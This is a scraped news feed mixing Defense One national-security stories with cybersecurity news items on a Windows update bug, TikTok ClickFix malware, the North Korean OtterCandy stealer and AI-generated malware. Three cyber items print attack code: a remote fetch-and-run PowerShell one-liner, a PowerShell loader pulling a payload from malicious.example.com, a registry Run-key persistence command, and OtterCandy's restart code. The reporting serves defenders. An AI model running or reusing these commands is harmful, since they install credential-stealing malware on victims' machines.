• Russian incursions into NATO allies’ airspace are causing rare public disagreements between treaty allies. Is this the disarray that Moscow wants, or a sign of healthy debate? Officials we spoke to suggested that the answer is both.

    On the eve of a Wednesday meeting of alliance defense ministers in Brussels, Secretary-General Mark Rutte argued to his colleagues that shooting down Russian crewed aircraft over NATO territory would show weakness, not strength. Across the Atlantic a day later, Danish Army chief Maj. Gen. Peter Harling Boysen had a more aggressive message for allies: “Shoot down Russian drones, period.” To be sure, alliance policy may differ for manned and unmanned incursions—but members are still arguing about the policy. 

    The disagreement is even sharper behind closed doors, according to two officials from alliance-member governments. They pointed to a recent Article Four consultation in Tallinn and a NATO ministers’ meeting in Riga, where some nations said incursions should receive stronger responses and others wanted to build up defenses before taking steps that could lead to war.

    Last month, Russia sent some two dozen unarmed drones into Polish airspace; Poland shot down up to four of them. Days later, when Russian fighter jets flew across the Estonian border, Tallinn elected to do no more than escort them back out—drawing criticism from some allies.

    Czech President Petr Pavel, for example, said members must show more willingness to shoot down not just drones, but also planes. Asked about Pavel’s comments a bit later, Estonian Defense Minister Hanno Pevkur visibly bristled.

    No standard NATO policy covers such incursions, which are being handled case by case by nations in different circumstances, said one senior official from an ally.

    “Some nations may be more proactive in their willingness to shoot at Russian assets,” that  official said.

    One senior NATO military official told Defense One in Riga that questions about various countries’ rules of engagement were “mostly being smoothed out.”

    Another area of disagreement is the pace and scope of counter-drone defenses. The entire European Union has signaled their support for the “drone wall” concept much-discussed in recent weeks. But there is some divergence of opinion on whether EU members should prioritize money for new drone defenses over conventional capabilities like tanks. German leaders have concerns that an attempt to build an impenetrable sense-and-shoot network might be an expensive failure.

    However, some military officials and the senior NATO government official said recent developments are shifting German thinking.

    The recent incursions likely reflect a Russian campaign to sow discontinuity among allies, Boysen and others said Wednesday.

    They're just gonna drive a break in between us. I think that's one thing they're trying to do,” the Dutch general said Wednesday at the Association of the U.S. Army’s annual conference in Washington, D.C.. “ I think they're trying to put headlines on our inability to act and their ability to act very, very quickly on the presidential order.”

    Norway’s Lt. Gen. Pasi Välimäki agreed. 

    “What Russia is trying to do is to undermine the aligned cohesion, and also to undermine the support to Ukraine,” Välimäki said at AUSA.

    Maj. Gen. Lars Lervik of Finland went a step further, describing Russia’s escalating incursions as war below the threshold of armed conflict. 

    “Basically, [Russia] is boiling the frog, moving the position incrementally over time,” Lervik said at AUSA. 

    Disagreements also exist on just how quickly to send military aid to Ukraine. Eastern European nations such as Estonia, Lithuania, Latvia, and Poland, which have long been more aggressive on NATO funding and deployment, are seizing the momentum from more risk-averse countries, such as Germany, European government and military officials say.

    European pledges of aid to Ukraine had fallen earlier this year. Pledges made at Wednesday’s summit reverse that trend:

    *Germany: €2 billion for Patriot interceptors, radar systems, ammunition, and precision-guided artillery rockets, as well as $500 million in financial aid.*Denmark: $171 million for training and repairs.*Lithuania:  $30 million to buy U.S. weapons for Ukraine.*Estonia: $12 million and drones “worth millions.”

    That presented something of a win for the White House, or at least those White House players who have favored continued support for Ukraine. On Wednesday, Defense Secretary Pete Hegseth said in Brussels, “Our expectation today is that more countries donate even more, that they purchase even more, to provide for Ukraine, to bring that conflict to a peaceful conclusion.”

    The United States is presenting its own challenge to NATO unity. The Pentagon’s upcoming national defense strategy will reportedly turn the focus of the U.S. military toward the Western Hemisphere. The senior European government official said many U.S. officials and power brokers around President Trump “refuse to see this strong link between the security of Europe, that attacks on democratically aligned nations could affect other countries where the United States has interests.” 

    So European members are girding for a potential withdrawal of more U.S. troops from the continent—even though Trump recently promised Poland, specifically, he’d shield it from any cuts. 

    The sheer unpredictability of U.S. support is deepening European urgency to cohere on policy. At AUSA, Boysen was asked about Trump’s threats to seize Greenland. The Danish general called them a “wake-up call” that had helped to spur defense spending. 

    European officials are cautiously optimistic that Trump is learning to see Russia as a threat,  the senior European government official said.

    “We'll see in a couple of weeks, I guess.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A second field test of the Army’s next-generation command and control prototype starts Monday, just three months after the Army awarded Anduril the contract to build it.

    The 4th Infantry Division will kick off Ivy Sting 2 at Fort Carson, Colo., where soldiers will test how the system handles deconflicting airspace before firing weapons and other scenarios.

    “How can we have the commanders doing their updates, doing their planning, but more importantly, how can we then enact that plan and shorten the time it takes to conduct fires?” Zach Kramer, head of Anduril’s mission command office, told Defense One.

    The Army is also trying to shorten the time it takes to develop this system, and the ones that come after it.

    “So we're not waiting to create some sort of perfect system and roll it out,” Kramer said. “We are rolling it out and focusing on an iterative, modern approach to software development.”

    Though Anduril got its official contract award in July, alongside Palantir, the company has been part of NGC2 development for a while. The company’s network software, Lattice Mesh, was part of the experimentation at Project Convergence – Capstone 5 earlier this year. 

    The first Ivy Sting, in late September, tested basic functionality and the ability to do commander’s updates and planning. 

    “And so this means that we're in early phases, but one of the big things is using commercial technologies from across the partners,” Kramer said. “So there's proven tech that sits underneath it, but now we're actually integrating it, standing it up, configuring it, working through all the things of how you think about data governance.”

    Currently, that includes Govini for logistics awareness and Strive Works for AI integration, but the plan is to create a system that can be updated continuously with new technology as it’s developed by private companies.

    “We want to be able to onboard lots of different partners, make sure there's a choice of different types of technology and that the best solution to the problem can bubble to the surface,” Kramer said. “And that may not be the same solution for an indefinite period of time.”

    Anduril’s current prototype contract covers the next 11 months, after which there will be a new award for the next phase of NGC2 development.

    “And one of the things we've really been working with the Army is, how do we create a repeatable process that fosters the growth and innovation over time?” Kramer said.

    Traditionally, the Army has built systems from the ground up and locked in all the different vendors up front, then started over again from scratch when a system becomes obsolete.

    But NGC2 will look more like the Army’s Transformation-in-Contact program, which prioritizes sending existing tech to the field, getting feedback from soldiers, and then getting updated systems back into the field quickly for more experimentation.

    “And so what we want to do is organize these Ivy Sting events in line with kind of a traditional software sprint that says, ‘I will do a planning. We will spend three weeks developing, we will then put it in the field. We will then take feedback, and we will already be iterating on the next one as we go,’ “ Kramer said. 

    That quick movement can leave room for confusion and miscommunication. Earlier this month, Anduril’s software came under fire with the leak of an internal Army memo castigating the program for deficient security protocols.

    Both the company and the Army pushed back, clarifying that the issues raised in the memo had already been resolved.

    Anduril’s founder, Palmer Luckey, went as far as to say the memo was leaked in bad faith.

    “The real answer is, we turned on all of the features that Lattice already had, which were not part of that initial prototype,” he said. “And the people who are planting that story are totally aware of that.”

    Mike Obadal, the Army’s under secretary, said Tuesday that he hopes the service will handle similar concerns differently going forward. 

    “I'm going to be a little more direct and candid on that—writing a memo is not how we're going to do business. That was an easy conversation to pull the right people in,” he said. “And instead, we went back to our old practices of, document our grievances, or document our issues, that we see. On the business side of the Army, that's what we have to fix.”

    If the Army wants to cut through bureaucracy in acquisitions, he added, those concerns should be brought up in a discussion rather than written in a memo.

    Anduril sees itself as not only helping the Army create its next command and control system, but helping it codify a new way of developing systems.

    “And so we think that is actually going to be perhaps one of the biggest things, even beyond just the actual modernization of the Army,” Kramer said. “If we can create this process that allows that constant innovation, that will be the big thing that I think actually helps the Army stay ahead.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft’s October 2025 cumulative update for Windows 11 has disrupted localhost functionality, preventing developers and users from accessing local web applications and services via 127.0.0.1.

    The issue, tied to update KB5066835 released on October 14, affects builds like 26100.6899 and has sparked widespread complaints on forums, including Microsoft’s support pages, Stack Overflow, and Server Fault.

    This breakage halts critical tasks such as debugging in Visual Studio and testing ASP.NET projects, impacting both individual developers and business environments reliant on local servers.​

    HTTP/2 Protocol Errors

    The problem manifests as HTTP/2 protocol errors, such as ERR_HTTP2_PROTOCOL_ERROR or ERR_CONNECTION_RESET, when attempting to connect to localhost-hosted services.

    Users report that applications using IIS Express or Kestrel servers fail to respond, turning routine local development into a frustrating ordeal. For instance, Autodesk confirmed disruptions to its Vault software, urging customers to roll back the update where possible.

    Community threads highlight how the bug extends beyond hobbyists, affecting production desktop applications that depend on loopback communication for internal processes.

    One developer noted that even simple web previews in Chromium-based browsers now encounter unresponsive connections post-update.​

    Investigations point to modifications in HTTP.sys, the kernel driver handling HTTP traffic, as the culprit behind the localhost severance.

    This component, updated in KB5066835 to address security vulnerabilities, inadvertently breaks loopback HTTP/2 negotiations, especially in configurations with the prior September preview update KB5065789.

    Affected users have found relief by often uninstalling KB5066835 alongside KB5065789 using command line tools like wusa.exe, followed by a restart.

    Alternative workarounds include disabling HTTP/2 through registry edits under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IIS\Parameters or updating Microsoft Defender Antivirus definitions via KB2267602, which resolves the issue without full rollback in some cases.

    Fresh Windows 11 installations appear immune, suggesting the error stems from interactions with existing setups rather than a core flaw.​

    As of October 17, 2025, Microsoft has not publicly acknowledged the bug on its KB5066835 support page, though forum responses from engineers indicate internal awareness and ongoing fixes.

    Some reports claim a subsequent Defender intelligence update or minor patch has mitigated it for rolled-back systems, but variability persists across hardware and configurations.

    With Windows 10’s support ending soon, this glitch underscores challenges in transitioning users to Windows 11 amid recurring update regressions.

    Developers are advised to pause updates temporarily and monitor release health dashboards for official resolutions, ensuring minimal downtime in their workflows. The incident joins a pattern of post-patch issues, prompting calls for improved quality control at Redmond.​

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Microsoft Windows 11 October Update Breaks Localhost (127.0.0.1) Connections appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • SOUTHCOM commander abruptly steps down two years early. Navy Adm. Alvin Holsey is departing his job as the military’s top officer over U.S. Southern Command, which oversees operations in and around Latin and South America, the New York Times reported Thursday. 

    Context: The Trump administration has sent thousands of troops to the region, along with at least eight warships and a submarine—ostensibly to fight fentanyl trafficking off the coast of Venezuela, including military strikes on at least a half-dozen alleged small boats, which have killed more than two dozen people without due process, according to the White House and Defense Department. 

    Why leave early? “It was unclear why Admiral Holsey is suddenly departing, less than a year into what is typically a three-year job, and in the midst of the biggest operation in his 37-year career,” but he had reportedly “raised concerns about the mission and the attacks on the alleged drug boats,” the Times reported Thursday. 

    Read over Holsey’s fairly ordinary public statement announcing his departure, delivered via social media on SOUTHCOM’s account Thursday, here

    Panning out: “Admiral Holsey, who is Black, becomes the latest in a line of more than a dozen military leaders, many of them people of color and women, who have left their jobs this year,” the Times notes. “It was not clear on Thursday who would replace Admiral Holsey, who just this week visited the island countries Antigua and Barbuda, and Grenada.”

    “[T]his unexpected resignation is troubling,” observed Sen. Jack Reed, ranking member of the Armed Services Committee. “At a moment when U.S. forces are building up across the Caribbean and tensions with Venezuela are at a boiling point, the departure of our top military commander in the region sends an alarming signal of instability within the chain of command,” he said in a statement Thursday. 

    “Any operation to intervene militarily in Venezuela—especially without congressional authorization—would be unwise and dangerous. Admiral Holsey’s resignation only deepens my concern that this administration is ignoring the hard-earned lessons of previous U.S. military campaigns and the advice of our most experienced warfighters,” said Reed. 

    New: The U.S. military attacked another alleged drug boat in Latin America, but this time it left survivors, a U.S. official told Reuters on Thursday. 

    “[I]t was not clear that the strike had been designed to leave survivors,” the official said, which Reuters reports “raises new questions, including whether the U.S. military rendered aid to the survivors and whether they are now in U.S. military custody, possibly as prisoners of war.” 

    Developing: The U.S. Army’s “elite 160th Special Operations Aviation Regiment appears to have flown within 90 miles of Venezuela,” the Washington Post reported Thursday as the White House signals a newly-aggressive approach toward Venezuela, including reportedly authorizing CIA operations inside the country.  

    Commentary: How to foster a warrior ethos in the workforce: expand the Defense Civilian Training Corps, a scholarship-for-service program that helps undergraduate students learn the skills that will help them succeed as acquisition professionals. Two fellows of the Acquisition Innovation Research Center make that argument, here.

    Additional reading: 


    Welcome to this Friday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 2017, the U.S.-led Syrian Democratic Forces captured the last ISIS stronghold in Raqqa, Syria. Just this week, those same SDF troops agreed on a plan to merge their forces with Syria’s newly-formed military—less than a year after dictator Bashar al-Assad fled the country as Islamic fighters with Hayat Tahrir al-Sham marched into the capital Damascus and took over.

    Trump 2.0

    A federal appeals court has again paused Trump’s deployment of National Guard forces to Chicago, maintaining a hold put in place by District Judge April Perry over the White House’s objections on October 9. 

    Rewind: “The Trump administration has argued that the bolstered military presence is needed to protect federal property and employees,” ABC7 Chicago reports. “But the judge said the government's claims about an out-of-control public on the brink of rebellion were not credible.”

    “The facts do not justify the President’s actions in Illinois,” the panel of judges wrote in their Thursday decision (PDF). “Even applying great deference to the administration's view of the facts, under the facts as found by the district court, there is insufficient evidence that protest activity in Illinois has significantly impeded the ability of federal officers to execute federal immigration laws.”

    “Political opposition is not rebellion,” the panel declared. Next up, a hearing is scheduled for Wednesday to consider an extension to the temporary restraining order currently in place. Reuters has a tiny bit more.

    Illinois Gov. JB Pritzker held a meeting of retired generals, rear admirals, and veterans Thursday to discuss the Trump administration’s aggressive tactics in Chicago. 

    Regarding ICE agents wearing combat fatigues and boots, “I think the modern term is cosplaying,” said William Enyart, a retired major general with the Illinois National Guard. “They're not soldiers. And it is, it is a smirch on the National Guard's reputation for them to be wearing the same uniform as we are,” he said. 

    “When we blur that line, we risk turning our own streets into battlefields and our citizens into potential enemies,” said Randy Manner, a retired U.S. Army two-star.

    “One thing is evident: this effort to deploy troops in American cities is not normal,” Pritzker said afterward. “There is no justification for such a deployment, and it echoes the rise of authoritarian regimes throughout world history.” 

    “Illinois is not a place you can conquer. And our people are not your subjects. Period,” the governor said. ABC7 Chicago has a bit more.

    For your radar: Trump said this week he wants more National Guard forces occupying more U.S. cities, he told reporters Wednesday at the White House. “This is an amazing thing, and we’re just at the start. We’re going to go into other cities that we’re not talking about purposely. We’re getting ready to go in. We’re going to have a surge of strong, good people, patriots, and they get to go in. They straighten it all out,” said Trump. 

    And don’t miss a new on-the-ground dispatch from the windy city:The Conquest of Chicago,” by veteran immigration reporter Nick Miroff, reporting Thursday for The Atlantic. 

    Shutdown update: Even though it is against the law, the White House says it’s going to pay furloughed troops with money Congress appropriated for research, development, testing, and evaluation for the current fiscal year.

    The law that would violate is the Antideficiency Act, which “prohibits the government from spending money that Congress has not appropriated for that purpose, or agreeing to contracts that spend money Congress has not appropriated for that purpose,” historian Heather Cox Richardson explained in her column Thursday. 

    “There is more at stake here than a broken law,” she writes, and says “Trump’s assumption of power over the government’s purse is a profound attack on the principles on which the Founders justified independence from King George III in 1776. The Founders stood firm on the principle articulated all the way back to the Magna Carta in 1215 that the government could not spend money without consulting those putting up that money by paying taxes. That principle was at the heart of the American Revolution.” 

    Report: “Accelerating authoritarianism” in America. More than 340 former U.S. intelligence officers from the CIA, NSA, State Department and elsewhere warned Thursday “the nation [is] on a trajectory toward competitive authoritarianism: a system in which elections, courts, and other democratic institutions persist in form but are systematically manipulated to entrench executive control.”

    Topline read: “U.S. drift towards authoritarianism has accelerated this year, a trend characterized not by an abrupt seizure of power but by an erosion of democratic norms and institutional checks and balances,” the authors write in their 29-page report. “The erosion of public trust, attacks on academic freedom and the free press, and a growing public tolerance for authoritarian tactics contribute to this slide…Recognizing this multifaceted attack and actively resisting the erosion of these foundational principles is crucial to defending and restoring liberal democracy in the US.” Read over the report in full, here

    As Ukraine’s president travels to the White House today to talk about Tomahawk missiles, Trump is already looking forward to his next meeting with Russian leader Vladimir Putin. 

    The president announced Thursday that Hungary has agreed to host the next Trump-Putin meeting following talks next week “led by Secretary of State Marco Rubio, together with various other people, to be designated,” Trump wrote on social media. “President Putin and I will then meet in an agreed upon location, Budapest, Hungary, to see if we can bring this ‘inglorious’ War, between Russia and Ukraine, to an end,” he said. 

    About those Tomahawks: Rumors began circulating that the U.S. could send Ukraine these 1,500-mile range cruise missiles at least a month ago, prompting Russian officials to warn the U.S. over the risks of escalation—as Russian officials have done repeatedly regarding possible U.S. weapons deliveries (like F-16s, Abrams tanks, and ATACMS, e.g.) over the course of Putin’s stalled invasion, which is now in its 44th consecutive month. 

    A week after Russia’s protests over the Tomahawks, Trump told reporters, “I want to find out what they're doing with them,” referring to Ukraine. “Where are they sending them? I guess I'd have to ask that question. I would ask some questions. I'm not looking to escalate that war.”

    Expert reax: “It does seem that Putin's outreach is perhaps designed to thwart the potential transfer of Tomahawks to Ukraine, so Putin is wanting to put that back in the box. It strikes me as sort of a stalling tactic,” Max Bergmann, a Russia expert at the Center for Strategic and International Studies, told Reuters this week. 

    Related reading: 

    Middle East

    Houthis signal wary acceptance of Israel-Hamas ceasefire. In a Thursday speech, leader Abdulmalik al Houthi said the group will watch closely to see whether the ceasefire “actually stops Israel’s assault and allows aid into Gaza” which “is what we hope for.” If it doesn’t hold, they will “continue on our path of support and backing, always ensuring it escalates… and work relentlessly…to develop our military capabilities.” (Text of al Houthi’s speech from Saba, with translation by Google).

    Al Houthi also announced the death of the group’s military chief of staff, which Israeli officials said was caused by their August 28 strikes that killed 12 Houthi officials.

    Some thoughts from Bridget Toomey, FDD research analyst focused on Middle East militant groups:

    • “The killing of Houthi military Chief of Staff Mohammad al-Ghamari indicates Israel’s strikes were more successful in targeting key military leaders than previously assumed during the war. While Israel is unlikely to continue air strikes against the Houthis during the ceasefire in Gaza, successes like killing Ghamari increase Houthi paranoia about Israeli intelligence capabilities in Yemen.”
    • “The Houthis immediately announced Ghamari’s replacement, Yusuf al-Madani, another prominent military leader with close ties to Iran and a U.S. designated terrorist. Madani’s recent experience leading forces in key offensives and frontline areas in Yemen is of significance as the Houthis may use the ceasefire in Gaza as an opportunity to refocus their efforts on territory they have been eyeing at home.”
    • “The late announcement of Ghamari’s death, while typical, raises the question if other Houthi military leaders may have been killed, particularly as some have not been seen in recent months.”
    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybercriminals are exploiting TikTok’s massive user base to distribute sophisticated malware campaigns that promise free software activation but deliver dangerous payloads instead.

    The attack leverages social engineering tactics reminiscent of the ClickFix technique, where unsuspecting users are tricked into executing malicious PowerShell commands on their systems.

    Victims encounter TikTok videos offering free activation of popular software like Photoshop, with one such video accumulating over 500 likes before detection.

    The attack chain begins when users follow instructions to open PowerShell with administrator privileges and execute a deceptively simple one-liner command.

    The initial infection vector instructs victims to run the command iex (irm slmgr[.]win/photoshop), which fetches and executes malicious PowerShell code from a remote server.

    This first-stage payload (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23) achieved a VirusTotal detection rate of 17/63, demonstrating its evasive capabilities.

    The script downloads a secondary executable called updater.exe from hxxps://file-epq[.]pages[.]dev/updater.exe, which analysis revealed as AuroStealer malware designed to harvest sensitive credentials and system information.

    Fake TikTok video (Source – Internet Storm Center)

    Internet Storm Center researchers identified the campaign and discovered that persistence mechanisms are implemented through scheduled tasks disguised as legitimate system processes.

    The malware randomly selects task names such as “MicrosoftEdgeUpdateTaskMachineCore” to blend in with genuine Windows services, ensuring execution at every user logon.

    A third payload named source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011) introduces an advanced evasion technique by compiling C# code on-demand during runtime using the .NET Framework compiler located at C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe.

    Self-Compiling Technique and Memory Injection

    The self-compiling capability represents a sophisticated approach to evade traditional detection mechanisms.

    The malware compiles a C# class during execution that imports kernel32.dll functions including VirtualAlloc, CreateThread, and WaitForSingleObject.

    This dynamically compiled code allocates executable memory space, injects shellcode directly into the process memory, and creates a new thread to execute the malicious payload without writing additional files to disk.

    Researchers discovered multiple variations of this campaign across TikTok targeting users searching for cracked versions of various software applications, highlighting the importance of avoiding untrusted sources for software downloads.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Hackers Using TikTok Videos to Deploy Self-Compiling Malware That Leverages PowerShell for Execution appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybercriminals associated with the North Korean threat group WaterPlum, also known as Famous Chollima or PurpleBravo, have escalated their activities with a sophisticated new malware strain called OtterCandy.

    This cross-platform RAT and information stealer represents a dangerous evolution in the group’s capabilities, combining features from previously observed malware families RATatouille and OtterCookie to create a more potent weapon for credential theft and system compromise.

    The malware emerges as part of WaterPlum’s ClickFake Interview campaign, a deceptive social engineering operation that masquerades as legitimate job recruitment processes in the blockchain and cryptocurrency sectors.

    Attackers create convincing fake company websites, such as BlockForgeX, which present seemingly authentic job applications and interview processes to lure unsuspecting victims into downloading malicious software under the guise of camera setup instructions or driver updates.

    ClickFake attack flow (Source – NTT Security)

    NTT Security researchers identified OtterCandy as the latest addition to WaterPlum’s arsenal, noting its deployment across Windows, macOS, and Linux platforms since July 2025.

    The malware’s impact extends beyond individual systems, as attacks have been observed targeting victims in Japan and other regions, demonstrating the threat group’s expanding global reach and ambitions.

    Built using Node.js, OtterCandy establishes communication with command-and-control servers through Socket.IO connections, enabling threat actors to execute a comprehensive range of malicious activities remotely.

    The malware’s command structure reveals its sophisticated design, implementing functions such as ‘imp’ for sweeping home directories, ‘pat’ for pattern-based file searches, and ‘upload’ for extracting system information, browser credentials, and cryptocurrency wallet data.

    Advanced Persistence and Evasion Mechanisms

    OtterCandy demonstrates remarkable resilience through its multi-layered persistence strategy that ensures continued operation even after detection attempts.

    ClickFix webpage (Source – NTT Security)

    While the malware typically relies on the preceding DiggingBeaver component for initial persistence, it incorporates an independent backup mechanism that automatically restarts processes when interrupted.

    This self-preservation feature utilizes JavaScript’s process event handling to monitor for SIGINT signals:-

    function startChildProcess() {
        const_0x4777b5 = fork(path['join') (_dirname, 'decode.js'), [], {
            'detached': !![],
            'stdio': 'ignore'
        });
        _0x4777b5['unref']();
    }
    
    process['on']('SIGINT', () => {
        startChildProcess();
        process['exit']();
    });

    The malware’s August 2025 update introduced enhanced anti-forensic capabilities, including comprehensive trace deletion functions that remove registry entries, downloaded files, and temporary directories.

    This cleanup mechanism operates through the ‘ss_del’ command, systematically erasing evidence of compromise while maintaining operational security for the threat actors’ ongoing campaigns.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Threat Actors Leveraging ClickFake Interview Attack to Deploy OtterCandy Malware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Security teams around the world are grappling with a new breed of cyber threats that leverage advanced automation to identify software weaknesses and craft malicious payloads at unprecedented speed.

    Over the past year, adversaries have integrated machine-driven workflows into their operations, enabling opportunistic criminals and well-funded groups alike to discover zero-days and assemble malware with minimal human intervention.

    This evolution markedly lowers the barrier to entry for sophisticated attacks, extending capabilities once limited to nation-state actors to any motivated cybercriminal.

    The Microsoft Digital Defense Report highlights that attackers are no longer manually hunting for exploitable bugs through tedious code reviews or mass scanning.

    Instead, they are training large-scale models on publicly available code repositories, then directing the models to generate proof-of-concept exploits for specific targets.

    In parallel, the same automated pipelines transform these exploits into fully featured malware families by appending obfuscation layers, custom command-and-control routines, and persistence modules.

    Microsoft analysts noted that this end-to-end automation has reduced vulnerability turnaround time from weeks to mere hours, dramatically compressing the time Windows defenders have to patch critical systems.

    As organizations reflect on this shifting landscape, it becomes clear that traditional signature-based defenses offer diminishing returns.

    Real-time threat hunting and behavior-based detection must evolve to counter automatically generated threats.

    Microsoft researchers identified numerous incidents where bespoke malware variants—indistinguishable by signature from benign test code—evaded antivirus engines and sandbox environments, silently establishing footholds in enterprise networks.

    Most targeted sectors (Source – Microsoft)

    Security operations centers (SOCs) now face the dual challenge of high-velocity attack generation and increasingly evasive payloads.

    Understanding the infection mechanism

    A closer look at the automated infection chain reveals how attackers leverage scripting and orchestration frameworks to deliver and activate malicious code.

    Initially, the adversary’s AI model generates an exploit targeting a specific library or application component—such as a deserialization flaw in a widely deployed web framework.

    The model then crafts a loader script in PowerShell or Python that dynamically fetches the payload:-

    $url = "https://malicious.example.com/payload.bin"
    $bytes = (New-Object Net.WebClient).DownloadData($url)
    [System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @())

    This loader script is injected into harmless-looking documents or served via spear-phishing emails, evading static defenses.

    Once executed, the loader decrypts and launches the generated malware in memory, bypassing disk-based detection.

    To maintain persistence, the automation pipeline appends code that registers a scheduled task or implants a fallback registry run key:-

    New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
      -Name "SysUpdate" -Value "powershell -ExecutionPolicy Bypass -File %UserProfile%\update.ps1"

    Microsoft analysts identified that many such scripts leverage randomized names and variable assignments, ensuring each campaign appears unique and further confounding detection logic.

    This fusion of automated vulnerability discovery and instantaneous malware generation marks a turning point in cyber offense.

    Defenders must prioritize continuous monitoring of anomalous behaviors, implement stringent application allow-listing, and adopt rapid patch orchestration to mitigate emerging threats before they can be weaponized.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Hackers Using AI to Automate Vulnerability Discovery and Malware Generation – Microsoft Report appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybercriminals have discovered a gap in Zendesk’s ticket submission process and are using it to bombard victims with waves of misleading support messages. When configured to accept anonymous requests, however, the service can be abused to generate email floods that appear to come from legitimate corporate domains. Earlier this week, security blogger Brian Krebs was […]

    The post Attackers Exploit Zendesk Authentication Issue to Flood Targets’ Inboxes with Corporate Notifications appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The North Korean threat actor linked to the Contagious Interview campaign has been observed merging some of the functionality of two of its malware programs, indicating that the hacking group is actively refining its toolset. That’s according to new findings from Cisco Talos, which said recent campaigns undertaken by the hacking group have seen the functions of BeaverTail and OtterCookie coming

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A critical security vulnerability has been discovered in WatchGuard Firebox appliances that could allow remote attackers to execute arbitrary code without authentication. The flaw, identified as CVE-2025-9242, affects the IKEv2 VPN service and has been assigned a severity score of 9.3 under CVSS 4.0, marking it as a critical threat to organizations using these security […]

    The post WatchGuard VPN Flaw Allows Remote Attackers to Execute Arbitrary Code appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶